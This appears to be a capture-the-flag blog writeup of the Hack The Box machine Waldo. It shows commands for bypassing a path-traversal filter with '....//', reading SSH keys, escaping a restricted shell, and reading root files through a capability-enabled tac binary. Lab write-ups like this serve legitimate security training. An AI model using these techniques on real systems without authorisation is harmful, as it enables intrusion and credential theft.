Waldo - Hack The Box
Linux / 10.10.10.87
This blog post is a writeup of the Waldo machine from Hack the Box.
Summary
- The webserver has a vulnerable function that can be used to browse directories and read files
- We can read the SSH private key from the
nobody
user home directory and log in asnobody
- We’re within a container but we can log in with SSH as user
monitor
to the host (127.0.0.1) - There’s a logMonitor application running with elevated capabilities (it can read log files even if not running as root)
- This is a hint that we should be looking at capabilities of files (
cap_dac_read_search+ei
) - We look at the entire filesystem for files with special cap’s and we find that the
tac
application has that capabily and we can read/root/root.txt
Detailed steps
Nmap
There’s only a webserver and an SSH service running on this box
root@darkisland:~# nmap -sC -sV -p- 10.10.10.87
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-04 21:08 EDT
Nmap scan report for waldo.htb (10.10.10.87)
Host is up (0.018s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.87 seconds
Web enumeration
The webpage is a simple application that displays and manages “lists”, and is using Javascript/Ajax.
In the javascript source code (list.js), the readFile
function can be abused to read source code of other PHP files in the directory:
function readFile(file){
var xhttp = new XMLHttpRequest();
xhttp.open("POST","fileRead.php",false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send('file=' + file);
if (xhttp.readyState === 4 && xhttp.status === 200) {
return xhttp.responseText;
}else{
}
}
The various files we read are:
The first thing I tried was to use fileWrite
to write an arbitrary PHP file in the .list
directory but the filename is derived from the listnum
parameter which is checked to make sure it’s numeric (PHP’s is_numeric() function). So we can’t write files with the appropriate extension and execute code.
Next, I looked at the dirRead.php file to try to enumerate the file system. The function uses a str_array
filter to replace characters that could be used for path traversal:
str_replace(array("../", "..\"), "", $_POST['path'])
So something like ../../../../../
will get replaced with an empty string which is going to default to the current directory.
We can verify with using the interactive PHP interpreter:
root@darkisland:~# php -a
Interactive mode enabled
php >
php > echo str_replace( array("../", "..\\"), "", array("../../../../"))[0];
php >
php > echo str_replace( array("../", "..\\"), "", array("this_is_not_blacklisted"))[0];
this_is_not_blacklisted
We can bypass the filter by using the following sequence: ....//....//....//....//
php > echo str_replace( array("../", "..\\"), "", array("....//....//....//....//"))[0];
../../../../
Running it on the target system, we are able to navigate to the user directory:
The .monitor
file looks interesting, we’ll use the fileRead.php
function to read it:
Initial shell access
Using the SSH private key we obtained, we can log in as user nobody
:
root@darkisland:~/hackthebox/Machines/Waldo# ssh -i waldo.key nobody@10.10.10.87
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ ls
user.txt
waldo:~$ cat user.txt
32768b<redacted>
Pivoting to the host OS and privesc
There isn’t much else we can do as user nobody
since we are in a container.
We can however pivot to the host OS by re-using the same key and logging in as user monitor
:
waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:YHb7KyiwRxyN62du1P80KmeA9Ap50jgU6JlRaXThs/M.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
&.
@@@,@@/ %
#*/%@@@@/.&@@,
@@@#@@#&@#&#&@@@,*%/
/@@@&###########@@&*(*
(@################%@@@@@. /**
@@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
%@@@@%##########&@@@.... .#%#@@@@@@@#
@@&%#########@@@@/ */@@@%(((@@@%
@@@#%@@%@@@, *&@@@&%(((#((((@@(
/(@@@@@@@ *&@@@@%((((((((((((#@@(
%/#@@@/@ @#/@ ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
%@*(@#%@., /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@# &
*@@@@@# .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
/@@ #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
*@@ *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
%@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
@@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
@@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
@@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
*@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
@@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
@@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
.@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
@@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
.@@&##@@,,/@@@@&(. .&@@@&,,,.&@@/ #@@%@@@@@&@@@/
*@@@@@&@@.*@@@ %@@@*,&@@ *@@@@@&.#/,@/
*@@&*#@@@@@@@& #@( .@@@@@@& ,@@@, @@@@@(,@/@@
*@@/@#.#@@@@@/ %@@@, .@@&%@@@ &@& @@*@@*(@@#
(@@/@,,@@&@@@ &@@,,(@@& .@@%/@@,@@
/@@@*,@@,@@@* @@@,,,,,@@@@. *@@@%,@@**@#
%@@.%@&,(@@@@, /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
&@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
/@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
@@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
*@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@
@@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
@@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
&@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
%@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
*@@,,,,,,,.,****,..,,,,,,,,&@@
(@(,,,.,,,,,,,,,,,,,,.,,,/@@
.@@,,,,,,,,,,,,,...,,,,,,@@
,@@@,,,,,,,,,,,,,,,,.(@@@
%@@@@&(,,,,*(#&@@@@@@,
Here's Waldo, where's root?
Last login: Tue Jul 24 08:09:03 2018 from 127.0.0.1
-rbash: alias: command not found
It seems we are in a restricted bash shell since we can’t run arbitrary comands:
monitor@waldo:~$ cd /
-rbash: cd: restricted
monitor@waldo:~$ ls
app-dev bin
monitor@waldo:~$ cd bin
-rbash: cd: restricted
monitor@waldo:~$ ls
app-dev bin
monitor@waldo:~$ ls bin
ls most red rnano
monitor@waldo:~$
We can easily bypass rbash by skipping the profile of the user with the -t bash --noprofile
arguments:
waldo:~/.ssh$ ssh -i .monitor monitor@127.0.0.1 -t bash --noprofile
monitor@waldo:~$
However our PATH is no longer set so we’ll need to set it manually:
monitor@waldo:~$ echo $PATH
/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
monitor@waldo:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
monitor@waldo:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
Now that we have access with a regular shell, we can start looking around.
In the app-dev
directory of the monitor
home directory, there is a log monitoring application along with the source code. The application simply reads hardcoded log files based on the CLI argument passed to it:
[...]
case 'a' :
strncpy(filename, "/var/log/auth.log", sizeof(filename));
printFile(filename);
break;
case 'A' :
strncpy(filename, "/var/log/alternatives.log", sizeof(filename));
printFile(filename);
break;
case 'b' :
strncpy(filename, "/var/log/btmp",sizeof(filename));
printFile(filename);
break;
case 'd' :
strncpy(filename, "/var/log/daemon.log",sizeof(filename));
printFile(filename);
break;
case 'D' :
strncpy(filename, "/var/log/dpkg.log",sizeof(filename));
printFile(filename);
break;
[...]
We can modify the source code and re-compile it but it’s not running as root so any modifications we make like adding a /bin/bash
shell argument option will only result in a shell running as user monitor
. At first, it seemed like this was a box with a cronjob running every few minutes that would compile and run the program but this isn’t the case.
Next, we looked at the v0.1
directory that contains yet another copy of the software. The interesting part here is that the application is able to read log files even though it doesn’t have the SUID bit set:
monitor@waldo:~/app-dev$ ./logMonitor -a
Cannot open file
monitor@waldo:~/app-dev/v0.1$ ./logMonitor-0.1 -a
Aug 4 21:17:01 waldo CRON[938]: pam_unix(cron:session): session opened for user root by (uid=0)
Aug 4 21:17:01 waldo CRON[938]: pam_unix(cron:session): session closed for user root
Aug 4 22:00:37 waldo sshd[980]: Accepted publickey for monitor from 127.0.0.1 port 57202 ssh2: RSA SHA256:Kl+zDjbDx4fQ7xVvGg6V3RhjezqB1gfe2kWqm1AMD0c
[...]
monitor@waldo:~/app-dev$ ls -l logMonitor
-rwxrwx--- 1 app-dev monitor 13704 Jul 24 08:10 logMonitor
monitor@waldo:~/app-dev$ ls -l v0.1/logMonitor-0.1
-r-xr-x--- 1 app-dev monitor 13706 May 3 16:50 v0.1/logMonitor-0.1
So, both files are owned by the same user and do not have the SUID bit set… Why is the v0.1 file able to read log files then?
Let’s look at file capabilities:
monitor@waldo:~$ getcap -r *
app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
The cap_dac_read_search
capability is used to Bypass file read permission checks and directory read and execute permission checks
. So basically, if a file has this permission it can read anything.
We can’t use this file to read anything other than log files but maybe there are other similar files on the host:
monitor@waldo:~$ getcap -r /* 2>/dev/null
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei
/usr/bin/tac = cap_dac_read_search+ei
What is this tac
binary?
monitor@waldo:~$ /usr/bin/tac --help
Usage: /usr/bin/tac [OPTION]... [FILE]...
Write each FILE to standard output, last line first.
Ok, we can use this to read files, let’s grab root.txt and finish this box:
monitor@waldo:~$ tac /root/root.txt
8fb67c<redacted>